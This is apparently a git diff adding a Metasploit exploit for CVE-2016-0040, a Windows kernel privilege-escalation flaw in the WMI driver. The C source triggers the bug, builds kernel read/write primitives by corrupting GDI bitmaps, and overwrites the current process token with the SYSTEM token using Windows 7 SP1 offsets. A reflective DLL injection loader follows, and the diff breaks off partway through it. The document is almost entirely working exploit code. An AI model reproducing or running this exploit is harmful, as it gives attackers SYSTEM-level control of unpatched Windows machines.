+typedef struct _PEB { + BYTE unk[0xf8]; + VOID *GdiSharedHandleTable; +} PEB, *PPEB; + +typedef struct _PROCESS_BASIC_INFORMATION { + PVOID Reserved1; + PPEB PebBaseAddress; + PVOID Reserved2[2]; + ULONG_PTR UniqueProcessId; + PVOID Reserved3; +} PROCESS_BASIC_INFORMATION; + +typedef struct _WMI_RECEIVE_NOTIFICATION { + ULONG HandleCount; + ULONG Action; + HANDLE UserModeCallback; + HANDLE UserModeProcess; + HANDLE Handles[WMI_RECEIVE_NOTIFICATION_HANDLE_COUNT]; +} WMI_RECEIVE_NOTIFICATION, *PWMI_RECEIVE_NOTIFICATION; + +#pragma pack(push, 1) +typedef struct _GDICELL64 { + PVOID pKernelAddress; + USHORT wProcessId; + USHORT wCount; + USHORT wUpper; + USHORT wType; + PVOID pUserAddress; +} GDICELL64; +#pragma pack(pop) + +typedef struct EPROCESS_OFFSETS { + DWORD UniqueProcessId; + DWORD Token; +} EPROCESS_OFFSETS, *PEPROCESS_OFFSETS; + +static PPEB GetCurrentPeb(VOID) { + + NTSTATUS (*ZwQueryInformationProcess)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength); + PROCESS_BASIC_INFORMATION ProcessInformation; + ULONG ReturnLength; + HMODULE library; + + library = LoadLibrary("ntdll.dll"); + + if (library == NULL) { return NULL; } + + ZwQueryInformationProcess = (VOID *)GetProcAddress(library, "ZwQueryInformationProcess"); + + if (ZwQueryInformationProcess == NULL) { return NULL; } + + if (ZwQueryInformationProcess(GetCurrentProcess(), ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &ReturnLength) != 0) { + return NULL; + } + + return ProcessInformation.PebBaseAddress; +} + +static BOOLEAN SetupBitmapManagerAndWorker(HBITMAP *hManager, HBITMAP *hWorker) { + + BYTE bitmap[BITMAP_SIZE]; + HBITMAP bitmaps[BITMAP_COUNT]; + INT i; + + memset(bitmap, 'a', BITMAP_SIZE); + + for (i = 0; i < BITMAP_COUNT; i++) { + bitmaps[i] = CreateBitmap(BITMAP_WIDTH, BITMAP_HEIGHT, BITMAP_PLANES, BITMAP_BIT_COUNT, &bitmap); + + if (bitmaps[i] == NULL) { + printf("[-] Unable To Create The Required Bitmaps\n"); + return FALSE; + } + + GetBitmapBits(bitmaps[i], BITMAP_SIZE, &bitmap); + } + + *hManager = bitmaps[BITMAP_MANAGER_INDEX]; + *hWorker = bitmaps[BITMAP_WORKER_INDEX]; + + return TRUE; +} + +static PVOID GetBitmapKernelAddress(PPEB peb, HBITMAP handle) { + + GDICELL64 *cells; + WORD index; + + index = LOWORD(handle); + + cells = (GDICELL64 *)(peb->GdiSharedHandleTable); + + return cells[index].pKernelAddress; +} + +static BOOLEAN WriteMemory(HBITMAP hManager, HBITMAP hWorker, PVOID dest, PVOID src, DWORD len) { + + if (SetBitmapBits(hManager, sizeof(PVOID), &dest) == 0) { + printf("[-] Unable To Set Destination Address: 0x%p\n", dest); + return FALSE; + } + + return SetBitmapBits(hWorker, len, src) ? TRUE : FALSE; +} + +static LONG ReadMemory(HBITMAP hManager, HBITMAP hWorker, PVOID src, PVOID dest, DWORD len) { + + if (SetBitmapBits(hManager, sizeof(PVOID), &src) == 0) { + printf("[-] Unable To Set Source Address: 0x%p\n", src); + return FALSE; + } + + return GetBitmapBits(hWorker, len, dest) ? TRUE : FALSE; +} + +static PVOID GetNtOsKrnl(VOID) { + PVOID ImageBases[IMAGE_BASE_LIST_SIZE]; + DWORD needed = 0; + + if (EnumDeviceDrivers((LPVOID *)&ImageBases, sizeof(ImageBases), &needed) == 0) { + printf("[-] Unable To Enumerate Device Drivers: %d\n", needed); + return NULL; + } + + return ImageBases[IMAGE_BASE_KERNEL_INDEX]; +} + +static PVOID GetPsInitialSystemProcess(HBITMAP hManager, HBITMAP hWorker) { + + HMODULE loaded; + PVOID address; + PVOID runtime; + + loaded = LoadLibrary("ntoskrnl.exe"); + + if (loaded == NULL) { + printf("[-] Unable To Load NtOsKrnl.exe\n"); + return NULL; + } + + address = GetProcAddress(loaded, "PsInitialSystemProcess"); + + if (address == NULL) { + printf("[-] Unable To Get PsInitialSystemProcess\n"); + return NULL; + } + + FreeLibrary(loaded); + + runtime = GetNtOsKrnl(); + + if (runtime == NULL) { + printf("[+] Unable To Get NtOsKrnl Runtime Address\n"); + return NULL; + } + + if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)address - (ULONG64)loaded + (ULONG64)runtime), &address, sizeof(PVOID)) == FALSE) { + printf("[-] Unable To Read PsInitialSystemProcess Address\n"); + return NULL; + } + + return address; +} + +static PVOID GetPsGetCurrentProcess(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) { + + PVOID systemProcess; + LIST_ENTRY ActiveProcessLinks; + ULONG64 UniqueProcessId; + PVOID currentProcess; + + systemProcess = GetPsInitialSystemProcess(hManager, hWorker); + + if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)) == FALSE) { + printf("[-] Unable To Read Initial System Process ActiveProcessLinks\n"); + return NULL; + } + + do { + currentProcess = (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64)); + + ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId), &UniqueProcessId, sizeof(ULONG64)); + + if (GetCurrentProcessId() == UniqueProcessId) { return currentProcess; } + + ReadMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->UniqueProcessId + sizeof(ULONG64)), &ActiveProcessLinks, sizeof(LIST_ENTRY)); + + } while (currentProcess != (PVOID)((ULONG64)ActiveProcessLinks.Flink - offsets->UniqueProcessId - sizeof(ULONG64))); + + printf("[-] Unable To Locate The Current Process In The List\n"); + + return NULL; +} + +static BOOLEAN TriggerVulnerability(PPEB pPeb, HBITMAP *hManager, HBITMAP *hWorker) { + + PVOID pageFrameNumbers[PAGE_FRAME_NUMBER_COUNT]; + WMI_RECEIVE_NOTIFICATION notification; + PVOID hManagerAddress, hWorkerAddress; + BYTE ReturnBuffer[RETURN_BUFFER_SIZE]; + DWORD ReturnSize; + HANDLE hDriver; + PVOID address; + INT i; + + NTSTATUS NtMapUserPhysicalPages(PVOID BaseAddress, ULONG NumberOfPages, PVOID *PageFrameNumbers); + + + if (SetupBitmapManagerAndWorker(hManager, hWorker) == FALSE) { + printf("[-] Unable To Setup Manager And Worker Bitmaps\n"); + return FALSE; + } + + hManagerAddress = GetBitmapKernelAddress(pPeb, *hManager); + hWorkerAddress = GetBitmapKernelAddress(pPeb, *hWorker); + + printf("[%%] Targeting pvScan0 With \"mov rdx, [rdx+0x8]\" Instruction\n"); + + for (i = 0; i < (sizeof(notification) / sizeof(PVOID)); i++) { ((ULONG64 *)¬ification)[i] = BITMAP_STRUCTURE_CORRUPTION_VALUE_0; } + + notification.HandleCount = 0; + notification.Action = WMI_RECEIVE_NOTIFICATION_ACTION_CREATE_THREAD; + notification.UserModeProcess = GetCurrentProcess(); + + for (i = 0; i < (sizeof(pageFrameNumbers) / sizeof(PVOID)); i++) { pageFrameNumbers[i] = hManagerAddress; } + + printf("[%%] pPeb: 0x%p\n", pPeb); + printf("[%%] hManager: 0x%p, hWorker: 0x%p\n", *hManager, *hWorker); + printf("[%%] hManagerAddress: 0x%p, hWorkerAddress: 0x%p\n", hManagerAddress, hWorkerAddress); + + hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + if (hDriver == INVALID_HANDLE_VALUE) { + printf("[-] Unable To Open The WMIDataDevice\n"); + return FALSE; + } + + i = 0; + do { + Sleep(0); + + NtMapUserPhysicalPages(pageFrameNumbers, (sizeof(pageFrameNumbers) / sizeof(PVOID)), pageFrameNumbers); + + if (DeviceIoControl(hDriver, WMI_RECEIVE_NOTIFICATIONS_IOCTL, ¬ification, sizeof(notification), &ReturnBuffer, sizeof(ReturnBuffer), &ReturnSize, NULL) == FALSE) { + printf("[-] Device IO Control Returned Failure\n"); + return FALSE; + } + + GetBitmapBits(*hManager, sizeof(PVOID), &address); + } while ((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (++i < TRIGGER_VULNERABILITY_RETRIES)); + + + if((address != (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CHECK_OFFSET)) && (i == TRIGGER_VULNERABILITY_RETRIES)) { + printf("[-] Unable To Trigger The Vulnerability\n"); + return FALSE; + } + + printf("[+] Self-Referencing Pointer Placement Complete\n"); + + pageFrameNumbers[0] = (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_VALUE_1); + pageFrameNumbers[1] = (PVOID)((ULONG64)hWorkerAddress + BITMAP_STRUCTURE_PVSCAN0_OFFSET); + SetBitmapBits(*hManager, (sizeof(PVOID) * 2), pageFrameNumbers); + + printf("[+] Stage 1 Cleanup Complete\n"); + printf("[+] Pointed hManager's pvScan0 To hWorker's pvScan0\n"); + + pageFrameNumbers[0] = NULL; + WriteMemory(*hManager, *hWorker, (PVOID)((ULONG64)hManagerAddress + BITMAP_STRUCTURE_CORRUPTION_OFFSET), pageFrameNumbers, sizeof(PVOID)); + + printf("[+] Stage 2 Cleanup Complete\n"); + + return TRUE; +} + +static BOOLEAN TriggerPrivilegeEscalation(HBITMAP hManager, HBITMAP hWorker, PEPROCESS_OFFSETS offsets) { + + PVOID systemProcess; + PVOID currentProcess; + PVOID systemToken; + + systemProcess = GetPsInitialSystemProcess(hManager, hWorker); + + if (systemProcess == NULL) { + printf("[-] Unable To Get The System Process\n"); + return FALSE; + } + + currentProcess = GetPsGetCurrentProcess(hManager, hWorker, offsets); + + if (currentProcess == NULL) { + printf("[-] Unable To Get The Current Process\n"); + return FALSE; + } + + printf("[%%] SystemProcess: 0x%p, CurrentProcess: 0x%p\n", systemProcess, currentProcess); + + if (ReadMemory(hManager, hWorker, (PVOID)((ULONG64)systemProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) { + printf("[-] Unable To Get The System Process Token\n"); + return FALSE; + } + + printf("[%%] SystemToken: 0x%p\n", systemToken); + + if (WriteMemory(hManager, hWorker, (PVOID)((ULONG64)currentProcess + offsets->Token), &systemToken, sizeof(PVOID)) == FALSE) { + printf("[-] Unable To Set The Current Process Token\n"); + return FALSE; + } + + printf("[+] System Process Token Stolen\n"); + + return TRUE; +} + +BOOLEAN TriggerExploit(VOID) { + + PPEB pPeb; + HBITMAP hManager, hWorker; + EPROCESS_OFFSETS win7SP1Offsets = { 0x180, 0x208 }; + + printf("\n"); + + pPeb = GetCurrentPeb(); + + if (pPeb == NULL) { + printf("[-] Unable To Get The Current PEB\n"); + return FALSE; + } + + if (TriggerVulnerability(pPeb, &hManager, &hWorker) == FALSE) { + printf("[-] Unable To Trigger Vulnerability\n"); + return FALSE; + } + + printf("[+] Vulnerability Triggered\n"); + + printf("[+] Bitmap Read/Write Primitives Now Available\n"); + + if (TriggerPrivilegeEscalation(hManager, hWorker, &win7SP1Offsets) == FALSE) { + printf("[-] Unable To Trigger Exploit\n"); + return FALSE; + } + + printf("[+] Privilege Escalation Triggered\n\n"); + + return TRUE; +} diff --git a/data/exploits/CVE-2016-0040/Library/Library.h b/data/exploits/CVE-2016-0040/Library/Library.h new file mode 100644 index 0000000000..fe34536d18 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Library/Library.h @@ -0,0 +1,8 @@ +#ifndef __CVE_2016_0040_LIBRARY_H__ +#define __CVE_2016_0040_LIBRARY_H__ + +#include + +BOOLEAN TriggerExploit(VOID); + +#endif //__CVE_2016_0040_LIBRARY_H__ \ No newline at end of file diff --git a/data/exploits/CVE-2016-0040/Library/Library.vcxproj b/data/exploits/CVE-2016-0040/Library/Library.vcxproj new file mode 100644 index 0000000000..7fd785a4b9 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Library/Library.vcxproj @@ -0,0 +1,87 @@ + + + + + Debug + x64 + + + Release + x64 + + + + 15.0 + {2B0E925B-9653-42D7-84EF-E47DD89DED3D} + CVE20160040 + 10.0.15063.0 + Library + + + + StaticLibrary + true + v141 + MultiByte + + + StaticLibrary + false + v141 + true + MultiByte + + + + + + + + + + + + + + + $(ProjectName) + + + $(ProjectName) + + + + Level3 + Disabled + true + MultiThreadedDebug + + + ntdll.lib;%(AdditionalDependencies) + + + + + Level3 + MaxSpeed + true + true + true + MultiThreaded + + + true + true + ntdll.lib;%(AdditionalDependencies) + + + + + + + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2016-0040/Metasploit/Metasploit.c b/data/exploits/CVE-2016-0040/Metasploit/Metasploit.c new file mode 100644 index 0000000000..bdea8a08b7 --- /dev/null +++ b/data/exploits/CVE-2016-0040/Metasploit/Metasploit.c @@ -0,0 +1,519 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#include "Metasploit.h" +//===============================================================================================// +// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value +HINSTANCE hAppInstance = NULL; +//===============================================================================================// +#pragma intrinsic( _ReturnAddress ) +// This function can not be inlined by the compiler or we will not get the address we expect. Ideally +// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of +// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics +// available (and no inline asm available under x64). +__declspec(noinline) ULONG_PTR caller( VOID ) { return (ULONG_PTR)_ReturnAddress(); } +//===============================================================================================// + +// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN, +// otherwise the DllMain at the end of this file will be used. + +// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR, +// otherwise it is assumed you are calling the ReflectiveLoader via a stub. + +// This is our position independent reflective DLL loader/injector +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( LPVOID lpParameter ) +#else +DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader( VOID ) +#endif +{ + // the functions we need + LOADLIBRARYA pLoadLibraryA = NULL; + GETPROCADDRESS pGetProcAddress = NULL; + VIRTUALALLOC pVirtualAlloc = NULL; + NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL; + + USHORT usCounter; + + // the initial location of this image in memory + ULONG_PTR uiLibraryAddress; + // the kernels base address and later this images newly loaded base address + ULONG_PTR uiBaseAddress; + + // variables for processing the kernels export table + ULONG_PTR uiAddressArray; + ULONG_PTR uiNameArray; + ULONG_PTR uiExportDir; + ULONG_PTR uiNameOrdinals; + DWORD dwHashValue; + + // variables for loading this image + ULONG_PTR uiHeaderValue; + ULONG_PTR uiValueA; + ULONG_PTR uiValueB; + ULONG_PTR uiValueC; + ULONG_PTR uiValueD; + ULONG_PTR uiValueE; + + // STEP 0: calculate our images current base address + + // we will start searching backwards from our callers return address. + uiLibraryAddress = caller(); + + // loop through memory backwards searching for our images base address + // we dont need SEH style search as we shouldnt generate any access violations with this + while( TRUE ) + { + if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE ) + { + uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + // some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'), + // we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems. + if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 ) + { + uiHeaderValue += uiLibraryAddress; + // break if we have found a valid MZ/PE header + if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE ) + break; + } + } + uiLibraryAddress--; + } + + // STEP 1: process the kernels exports for the functions our loader needs... + + // get the Process Enviroment Block +#ifdef WIN_X64 + uiBaseAddress = __readgsqword( 0x60 ); +#else +#ifdef WIN_X86 + uiBaseAddress = __readfsdword( 0x30 ); +#else WIN_ARM + uiBaseAddress = *(DWORD *)( (BYTE *)_MoveFromCoprocessor( 15, 0, 13, 0, 2 ) + 0x30 ); +#endif +#endif + + // get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx + uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr; + + // get the first entry of the InMemoryOrder module list + uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink; + while( uiValueA ) + { + // get pointer to current modules name (unicode string) + uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer; + // set bCounter to the length for the loop + usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length; + // clear uiValueC which will store the hash of the module name + uiValueC = 0; + + // compute the hash of the module name... + do + { + uiValueC = ror( (DWORD)uiValueC ); + // normalize to uppercase if the madule name is in lowercase + if( *((BYTE *)uiValueB) >= 'a' ) + uiValueC += *((BYTE *)uiValueB) - 0x20; + else + uiValueC += *((BYTE *)uiValueB); + uiValueB++; + } while( --usCounter ); + + // compare the hash with that of kernel32.dll + if( (DWORD)uiValueC == KERNEL32DLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 3; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + 